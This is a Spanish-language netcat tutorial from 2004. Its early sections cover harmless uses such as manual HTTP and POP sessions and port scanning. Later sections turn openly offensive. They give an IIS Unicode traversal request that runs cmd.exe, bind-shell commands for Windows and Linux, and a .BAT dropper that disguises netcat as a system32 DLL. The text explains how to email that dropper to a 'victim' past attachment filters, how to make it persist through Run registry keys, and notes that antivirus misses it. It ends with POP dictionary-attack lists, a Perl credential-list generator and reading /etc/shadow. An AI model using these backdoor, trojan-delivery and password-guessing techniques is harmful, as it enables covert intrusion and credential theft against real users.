TUTORIAL NETCAT

Viktor Saver

viksaver@softhome.net

HMx (Hecho en México)

Abril 2004

El presente documento, tiene la finalidad de señalar algunos de los usos prácticos

y sencillos del programa netcat (versiones para Unix/Linux y para Windows 9x/NT
[nc.exe]).

Ha sido escrito únicamente con fines educativos del propio autor, y de cualquier
persona que esté interesada en conocer el programa descrito, y el autor no asumirá
responsabilidad alguna, ni civil, ni penal, ni de ningún otro tipo por el uso indebido que
terceros puedan hacer de la información aquí expuesta.

Es gratuito y puede ser copiado, modificado ó redistribuido libremente, siempre y

cuando conserve su libertad de distribución y se de crédito al autor original. Se prohíbe
cualquier intento o ánimo de lucro con el mismo.

NETCAT

Netcat (nc ó nc.exe) creado por Hobbit (hobbit@avian.org) tiene una infinidad de
usos prácticos principalmente en redes, siendo capaz de realizar “casi cualquier cosa”
sobre el protocolo TCP/IP.

Se mencionan sólo algunos de los usos más conocidos, sin pretender abarcar la
infinidad de posibilidades con que cuenta.

Para conocer más acerca del programa, consúltese la documentación incluida con
el programa (README's, etc), y bajo Unix/linux, se podrá consultar además las páginas
del manual:

#man nc

O para ver las opciones más comunes (Linux y Windows):

#nc -h

CLIENTE TELNET

Es sin duda, uno de los usos más extendidos (si no el que más). Para conectar
directamente con un host remoto sólo hay que llamar al programa o comando nc,
especificando el nombre o IP y el puerto que se encuentra a la escucha en el host remoto
al que se desea conectar:

#nc -vv hostremoto XX

 Donde la opción "-v" ó "-vv" (verbose) se usa para que el programa nos indique
qué está haciendo en cada momento, "hostremoto" es el nombre del equipo remoto
(www.microsoft.com, www.yahoo.com), o su dirección IP (192.168.25.2), y "XX" es el
número de puerto al que se desea realizar la conexión (21, 23, 25, 80, etc).

Nota para los no iniciados en Unix/Linux: El caracter "#" -o uno similar como $, %, etc- es el
prompt del shell en unix/linux y equivale al prompt "C:>" de la línea de comandos de MS-DOS en
windows).

Algunos puerto interesantes a los que se puede realizar una conexión son (Por
mencionar algunos de los más frecuentes, que serán los usados en este documento, para
ver una lista más completa de los puertos y sus respectivos servicios, consultar el fichero
/etc/services en Unix/linux):

PUERTO SERVICIO

21 FTP
23 TELNET
25 SMTP
43 WHOIS
53 DNS
79 FINGER
80 HTTP
110 POP

Pero se puede establecer una conexión prácticamente con cualquier puerto que se
encuentre abierto o a la escucha. Una vez conectado al sistema remoto, se realiza la
solicitud de datos del host remoto, que dependerá del servicio al que se conecte, pero en
muchas ocasiones, bastará con enviar un par de "Enter" para obtener algunos datos
interesantes.

Netcat también es capaz de efectuar conexiones a un servidor FTP, solicitando

una conexión al puerto 21, o para realizar una sesión telnet, conectando al puerto 23 .

Es posible también solicitar datos (encabezados) de un servidor HTTP, (o a casi

cualquier otro tipo de servidor), obteniéndose datos tales como el tipo de servidor, su
versión y otros datos interesantes, que muchas veces son muy útiles para deducir el
sistema operativo (SO) que corre en el host remoto:

#nc -v 192.168.25.2 80
GET HEAD HTTP /1.0
<CR>
<CR>
Después de la petición, hay que dar un par de "Enter" (<CR>, por “car return”)
para finalizar la petición, con lo que aparecerán los datos (encabezados HTTP)
mencionados.

Incluso podemos solicitar una página web completa por este método, conociendo
su nombre y ubicación:

#nc -v 192.168.25.2 80
GET /personal/index.html HTTP /1.0
<CR>
<CR>
 Con lo que aparecerá en pantalla el código fuente de la página "index.html",
localizada en el directorio "/personal/", que sería equivalente a realizar esta petición
desde un navegador web como sigue: "http://www.hostremoto.com/personal/index.html".

También se puede usar para verificar si un servidor HTTP ISS (que se ejecuta
sobre un sistema operativo del tipo Windows NT) es vulnerable al bug unicode, con lo
que sería posible la ejecución remota de comandos en ese servidor.

Creamos el siguiente archivo y lo guardamos como “unicode.txt”:

GET /scripts/..%c0%af../winnt/system32/cmd.exe?+c+dir+'c:\' HTTP /1.0

Y lo redirigimos al comando netcat de la siguiente forma:

#nc -vv 192.168.25.2 80 < unicode.txt

Si vemos en pantalla un listado de directorios y archivos como el que aparece al
hacer un "DIR", (que es precisamente lo que hacemos en el host remoto), es diagnóstico
de la vulnerabilidad unicode en el servidor, con lo que se podrá ejecutar comandos
remotamente en él, aunque hoy en día esta falla es casi inexistente en internet.

Una de las ventajas que tiene netcat sobre el cliente telnet standard de windows o
sobre algunos clientes telnet de otros sistemas operativos es que es mucho más discreto
con la información que envía hacia el host remoto, (es más "sigiloso"), además, es un
programa de sólo unos pocos KB, y otra ventaja sobre los clientes telnet convencionales
(en Windows) es que se le pueden enviar ("redirigir") comandos desde un archivo de
texto previamente formateado, de acuerdo a la petición que deseamos realizar. Para ello,
se usa el caracter "<".

Por ejemplo, creamos un fichero que llamaremos "http.txt" con las siguientes
líneas:

GET /personal/downloads/default.asp HTTP /1.0

<CR>
<CR>

Y listo, (Recordar que los "<CR>" son "Enter", y no se escriben...), ahora, sólo
redirigimos el fichero hacia netcat al abrir la conexión:

#nc -vv 192.168.25.2 80 < http.txt

Y con esto, obtenemos el mismo resultado que en el ejemplo antes comentado,
obteniendo el código fuente de la página solicitada ("default.asp"), con la ventaja clara
de que podemos crear un fichero con peticiones que realicemos frecuentemente, y no
tenemos que escribirlas cada vez.

Se puede realizar también la redirección desde la salida de netcat hacia un

fichero, usando el caracter ">" para crear un nuevo fichero, o ">>" para agregar la
salida del programa a un fichero previamente existente. Si usamos el ejemplo anterior,
con las nuevas modificaciones:

#nc -v 192.168.25.2 80 < http.txt > pagina.html

Se creará un fichero html llamado "pagina.html", que podremos modificar o

visualizar cómodamente con cualquier navegador web, sin conexión a internet. Esto
también funciona para los demás tipos de archivos, desde textos, imágenes, ejecutables,
mp3, etc.
 Con el siguiente comando, se agregan los datos al final del archivo existente
"webs.html":

#nc -v 192.168.25.2 80 < http.txt >> webs.html

El siguiente ejemplo se puede usar para leer e-mail en una cuenta existente en un
servidor POP (Puerto 110). Para ello, creamos un fichero con los comandos a enviar (O si
se prefiere, se introducen los comandos directamente una vez conectados al servidor).

Lo llamaremos mail.txt:

USER nombreusuario
PASS contraseña
LIST
RETR 1
RETR 2
RETR 3
QUIT

Y lo redirigimos a netcat, guardando la salida en otro fichero:

#nc -v 192.168.25.2 110 < mail.txt > mailbox.mbx

Con lo que se creará un fichero local (mailbox.mbx), que se podrá examinar

después con cualquier editor de textos como vim o joe en linux, o edit o notepad en
windows, o con cualquier cliente de correo como kmail u outlook.

Algunos otros comandos interesantes usados en el protocolo POP son: TOP, DELE,
STAT, NOOP, RSET, LAST, y algunos otros menos usados.

La desventaja que tiene el método del ejemplo, es que se debe escribir la

contraseña para acceder a la cuenta de correo en texto "claro", con el consiguiente
riesgo de seguridad, sobre todo si alguien más tiene acceso a la máquina donde se
encuentre tal fichero.

Hasta aquí, no hay prácticamente nada nuevo, todo (o casi todo) lo anterior se
puede llevar a cabo con cualquier cliente telnet Unix/Linux o Windows (telnet.exe,
putty.exe, etc), excepto la redirección desde y hasta ficheros (en Windows) pero se
puede conseguir haciendo algunas pequeñas modificaciones... -"log de conexión"- ).

ESCANER DE PUERTOS TCP Y UDP

Netcat puede ser usado también como un escáner de puertos, usando algunas de
las opciones (o argumentos) propias del programa:

#nc -v -z -w 2 192.168.25.2 10-624

Con el comando anterior, indicamos a netcat que realice un escaneo de puertos

TCP en el host remoto 192.168.25.2, indicando un rango de puertos del 10 al 624 (puede
especificarse cualquier rango deseado).
 Aparecerá en la salida estándar (generalmente el monitor) un listado de los
puertos abiertos en el host remoto. La opcion usada para el escaneo de puertos es "-z", y
la opción "-w 2" se usa para indicar el tiempo de espera en ms. ("2" o cualquier número).

También se puede realizar una verificación de los puertos UDP abiertos en el host
remoto agregando la opción "-u":

#nc -v -z -w 2 -u 192.168.25.2 1-500

Por este medio se puede obtener la información de los puertos UDP abiertos con
relativa rapidez y eficacia, aunque netcat quizá no sea el mejor escáner de puertos, sí es
relativamente rápido y confiable, y tiene la ventaja de ser un programa muy pequeño,
que cabe fácilmente en un diskette de 3.5 para llevar a todos lados (en Windows, ya que
la mayoría de las distribuciones Linux lo tiene instalado de forma predeterminada).

También se puede redirigir la salida (listado de puertos abiertos) hacia un fichero,

para analizarlo posteriormente, o para usar en scripts.

#nc -v -z -w 2 192.168.25.2 1-1024, 6000, 6666, 31337, 12354 >> open_ports.log

ESCUCHA DE CONEXIONES

Otra de las sobresalientes ventajas de netcat, es que puede usarse para escuchar
conexiones entrantes en cualquier puerto especificado por el usuario. Esta característica
es lo que lo ha hecho una de las herramientas más utilizadas conjuntamente con muchos
shell-scripts y exploits.

Para escuchar en un puerto determinado, sólo hay que utilizar la opción "-l" para
escuchar por una conexión entrante, que terminará la ejecución del programa al cerrar á
dicha conexión, y en nc.exe para Windows está disponible también la opción "-L" para
continuar escuchando incluso después de cerrar la primera conexión remota,
permitiendo futuras conexiones sin necesidad de ejecutar nuevamente el script.

Además, hay que especificar el puerto en el que se desea “escuchar” con la opción
"-p XX" donde "XX" es el número de puerto deseado. En Unix/Linux se deben tener
privilegios de root si se desea usar puertos menores al 1024.

#nc -v -l -p 2424

Con este comando, se abre el puerto 2424, y cuando "alguien" (un cliente) solicite
una conexión a dicho puerto, aparece en pantalla lo que el usuario remoto introduce
desde el teclado (o desde la redirección de un fichero).

Este simple método puede ser utilizado como un rudimentario "chat" personal, o
como un sencillo "sniffer", ya que aparecen en pantalla todas los caracteres que el
cliente envíe, tales como comandos, passwords, etc..

Se puede mostrar el contenido de un fichero al "cliente" que se conecte a nuestro

"servidor" usando la redirección desde un fichero:

#nc -v -l -p 24242 < welcome.txt

 Y redirigir lo que el cliente introduce por teclado o redirección hacia otro fichero:

#nc -v -l -p 24242 < welcome.txt >> ncserver.log

Este método, con algunas sencillas modificaciones se puede usar para ejecutar
comandos en el "servidor" (shell remota), como se explicará a continuación.

SHELL REMOTA

Netcat, ejecutado con una sintaxis especial, puede proporcionar una shell remota,
con lo cual se conseguirá la ejecución de comandos en el host “vícitma”. Debido a ésta
característica netcat es frecuentemente usado como un "back door" (o como troyano) en
la máquina atacada, para facilitar accesos futuros al sistema.

Se utiliza la siguiente sintaxis:

*En Windows NT/2000/XP/2003:

C:\>nc.exe -d -L -e cmd.exe -p 8080

Con la opción "-d" se ejecuta netcat en modo "silencioso", ocultando la ejecución

del programa (Sin embargo, el proceso será visible si se oprime Ctrl-Alt-Supr).

La opción "-L" escucha en el puerto especificado (8080) aún después de terminada

la primera conexión. Con la opción "-e" se ejecuta el comando especificado a
continuación, (CMD.EXE), que en este caso es la “shell” por defecto de Windows
NT/2000/XP.

En sistemas Windows 95/98/Me, se debe cabiar “cmd.exe” por

"COMMAND.COM", aunque en tales sistemas operativos netcat no funciona
adecuadamente (Presenta algunas fallas la opción "-L" -ver documentación-), y siendo un
tanto inestable la conexión.

Al ejecutar el programa netcat con estas opciones, se abre el puerto 8080 de la

máquina donde se ejecuta, dejando una "shell" o intérprete de comandos a quien se
conecte (cliente) a ese puerto, permitiéndole controlar el sistema con los privilegios del
usuario que lo ejecute (aunque si no se tienen privilegios de administrador, una vez
dentro del sistema, la "escalada" de privilegios hacia ADMINISTRADOR "es sólo cuestión
de tiempo...").

De esta manera se pueden copiar, mover, borrar, editar ficheros en el host

remoto, usar FTP para obtener otros fichero, programas, exploits (o transferir archivos
por medio de redirecciones ">" ) y si se tienen privilegios de administrador, se tendrá el
control completo del sistema.

*En Unix/Linux la sintaxis equivalente es:

#nc -l -p 8080 -e /bin/sh &

Con lo cual, se lanzará una shell en el servidor donde se ejecuta el comando, con
los privilegios del usuario que lo ejecuta (Aunque también es posible escalar privilegios,
hasta llegar a root).
 En el ejemplo anterior, se usan las opciones "-l" para escuchar la conexión en un
puerto ("-p") determinado por el usuario (Recordar que se necesitan privilegios de root
para abrir puertos menores de 1024, por lo que se recomienda usar puertos mayores a
este número, con lo que adicionalmente se consigue semi-ocultar el puerto abierto, ya
que muchos escáneres de puertos que sólo escanean puertos menores de 1024).

Al final se usa el caracter especial "&", para indicar que se ejecute la shell en el
"segundo plano", y tratar de ocultar un poco la ejecución, en caso necesario. A pesar de
esto, el proceso será visible con un "ps -u", o simplemente ejecutando "fg".

El comando "/bin/sh" es una de las “shells” o intérprete de comandos presentes en

los sistemas Unix/Gnu/Linux, aunque no la única, y dependerá del tipo de OS y la
distribución presente en la máquina objetivo (Pudiendo ser otras /bin/bash, /bin/sh,
/bin/csh, /bin/tcsh /bin/ksh, etc, y el directorio en que se encuentran puede variar
también, dependiendo del OS y distribución).

Hay que recordar que el comando deberá ejecutarse en la máquina "víctima", y

una vez hecho, sólo se debe conectar al puerto especificado en el host remoto, con el
propio netcat o cualquier cliente telnet (aunque obviamente, se recomienda netcat):

#nc -vv 192.168.25.2 8080

Una vez conectado, se está en condiciones de ejecutar comandos en la shell

abierta, desde un "whoami" para ver de que usuario tenemos privilegios, obtener los
ficheros de contraseñas (/etc/passwd), transferir archivos desde el cliente ("tu máquina")
hasta el servidor (máquina "victima") y visceversa, por medio de ftp, tftp o simples
redirecciones:

#nc -v 192.168.25.2 8080 < mycommands.txt >> archivo.log

Donde "mycommands.txt" es un archivo previamente creado con las órdenes que

deseamos ejecutar, por ejemplo "cat /etc/passwd" ó "cat /etc/shadow" ó cualquier archivo
que se desee transferir, y "archivo.log" es donde será guardado el o los ficheros
transferidos, que posteriormente se podrán analizar “offline” (sin conexión).

Un ejemplo de lo que se puede lograr por medio de este método es, subir al
equipo atacado otros programas que puedan servir como "back-doors", para facilitar
posteriores accesos al sistema, transferir exploits para elevar privilegios y conseguir
acceso root si aún no se tiene, ejecutar nuevamente nc para escuchar en algún otro
puerto, además de prácticamente cualquier cosa, como atacar a otros equipos, y que el
host "víctima" aparente ser el responsable, y todo lo que la imaginación permita.

Es posible crear un programa o script que permita la ejecución del comando

netcat en segundo plano con las opciones necesarias para lanzar una shell y colocarse
dentro del menú Inicio/programas /inicio, (en Windows) para que cada vez que el equipo
reinicie, lo haga ejecutando tal programa, y perpetrar el acceso a ese equipo. En linux se
podrá colocar una línea en los ficheros .bash_rc o en los ficheros de arranque que
podrán variar de acuerdo al OS y la distribución.

Ejemplo de script .BAT para windows:

@echo off
set system32=%windir%\system32
if exist %system32%\win32xp.dll goto run
if not exist .\win32.dll goto error
if exist .\win32.dll copy win32.dll %system32%\win32xp.dll > nul
 :run
start /b %system32%\win32xp.dll -L -d -e cmd.exe -p 8080
goto end
:error
echo Falta archivo .dll necesario.
:end

Podemos enviar un e-mail a la víctima con 2 archivos: wind32.dll (que será netcat,
renombrado para "ocultarlo" o disfrazarlo) y "start.bat", que será el que lance a netcat
(si se hace de esta forma se recomienda comprimir los 2 ficheros con algún programa
como "winzip", ya que recientemente se han implementado nuevas políticas de seguridad
en algunos de los servidores de correo basados en web más usados, como hotmail, que
eliminan o restringen automáticamente el acceso a cualquier archivo adjunto con
extensiones .EXE, .BAT, etc.)

Se podría podría sustituir el fichero "start.bat" por un ejecutable que además de lo

anterior, haga alguna otra cosa, para evitar sospechas o evitar ser descubiertos, ya que
cualquiera podrá ver en texto claro los ficheros BAT.

El script start.bat copiará el archivo "wind32.dll", al directorio

“c:\windows\system32\win32xp.dll”, tras lo que lo ejecutará con los argumentos
necesarios para lanzar la shell en el puerto 8080.

Ahora, sólo hay que guardar el programa "start.bat" en el directorio de inicio, o

agregar una línea que lo llame en el fichero autoexec.bat, win.ini, (windows 95/98/Me) o
agregar una llave al registro, bajo alguna de las claves:

HKML/software/microsoft/windows/currentversion/run, runonce, y/o runservices.

Este último método es más recomendable, ya que es un poco más difícil de

detectar (aunque un usuario o administrador “que se precie”, lo detectará).

Una gran ventaja de este método, es que casi ningún antivirus detectará a netcat
(ninguno de los que el autor ha probado lo ha hecho), sin embargo, un firewall como
“Zone Alarm” o “Tiny Personal Firewall” detectará el intento de conexión entrante,
bloqueándola.

CRACKEO DE PASSWORDS

Netcat puede ser usado para intentar adivinar contraseñas en algún servidor,
para lo cual se usará lo que se conoce como “ataque de diccionario", en los que se
especifica una lista de palabras, que serán probadas como posibles contraseñas para
acceder a un servicio específico del host remoto (FTP, Telnet, POP etc.).

Si se desea verificar las contraseñas del servidor de correo del host remoto, sólo
se debe crear un fichero con los comandos adecuados, y usar las redirecciones para
conseguirlo. Por ejemplo, crear el fichero pop.list con las siguientes líneas:

user nombre1
pass password1
user nombre2
pass password2
user nombre3
pass password3
quit
 Y ejecutar netcat, dirigiéndolo al host y puerto deseado:

#nc -vv 192.168.25.2 110 < pop.list > craked.log

Con lo cual, netcat se conecta al servidor de correo POP (puerto 110) en

192.168.25.2, y una a una, va probando combinaciones de usuario y contraseña, hasta
obtener la correcta.

Hay que tener en cuenta que muchos usuarios despreocupados por temas de
seguridad usan contraseñas muy fáciles de adivinar, siendo algunas de las más
frecuentes, el mismo nombre de usuario (en una gran cantidad de empresas es la inicial
del nombre real del usuario y el primer apellido) lo cual el autor ha encontrado más
frecuentemente de lo esperado, o el nombre real del usuario, apellido, o la fecha de
nacimiento, con lo cual se facilita enormemente el trabajo para algún usuario malicioso.

El siguiente ejemplo podría ser aplicado con éxito en la práctica:

user martinez
pass martinez
user amartinez
pass amartinez
user bmartinez
pass bmartinez
user cmartinez
pass cmartinez
user dmartinez
pass dmartinez
user emartinez
pass emartinez
quit

(Grabarlo como testpop.lst) y ejecutar:

#nc -vv 192.168.25.2 110 < testpop.lst >> craked.log &

Ahora, sólo hay que esperar a que termine la ejecución del programa, y revisar el
fichero “.log”, para verificar los resultados obtenidos.

El mismo método sería aplicable para otros servicios tales como Telnet, FTP, etc.

Incluso se pueden crear programas en algún lenguaje de programación como perl

para automatizar la creación de grandes listas de usuarios y passwords, para probarlas
con netcat en nuestros servidores en busca de passwords poco seguros.

El siguiente script ha sido escrito en lenguaje perl, y tiene la finalidad de crear

una lista de nombres de usuario y contraseñas, a partir de un apellido especificado por el
usuario, y se agrega aquí sólo como ejemplo de una de las múltiples posibilidades.
(Funciona con el intérprete de perl para Linux o Windows (Activeperl). Ambos pueden
conseguirse en la web oficial de perl:

www.perl.com y www.cpan.org.
#! /usr/bin/perl
# Fichero que creará un listado de nombres para usar como passwords de
# POP3 con netcat.
# by ksaver, april 2004.

use Getopt::Std;

getopts(':w:h:', \%args);

@inicial=("","a"..."z");

if (!%args){&interactive;}

elsif ($args{h}){print "$0 -w name_for_create_list\n";}

else {&linecom;}

sub linecom
{
$namez=$args{w};
&main;
}

sub interactive
{
print "introduce un apellido: ";
chop ($namez=<STDIN>);
&main;
}

sub main
{
open (NAMEOUT,">$namez.nc");

until ($i == 27)

{
print NAMEOUT "user $inicial[$i]$namez\npass $inicial[$i]$namez\n";
$i++;
}
print NAMEOUT "quit";
print "creando archivo $namez.nc...\ndone!!\n";
}

Como puede apreciarse, la lista de posibilidades es casi interminable, siendo el

único límite la propia imaginación del usuario (aunque también interviene claro, el grado
de conocimientos, aunque esa es una barrera que se puede franquear con un poco de
estudio).

Esperando que haya quedado bien explicado y que sea de utilidad, por esta
ocasión esto es todo, pero de existir alguna duda al respecto, se puede localizar al autor
en la dirección de correo electrónico que aparece al inicio del tutorial, y se agradecerá
cualquier tipo de aportación o comentario a propósito del mismo, opiniones, erratas, etc.

"If you can imagine it... you can hack it..."

-ksaver-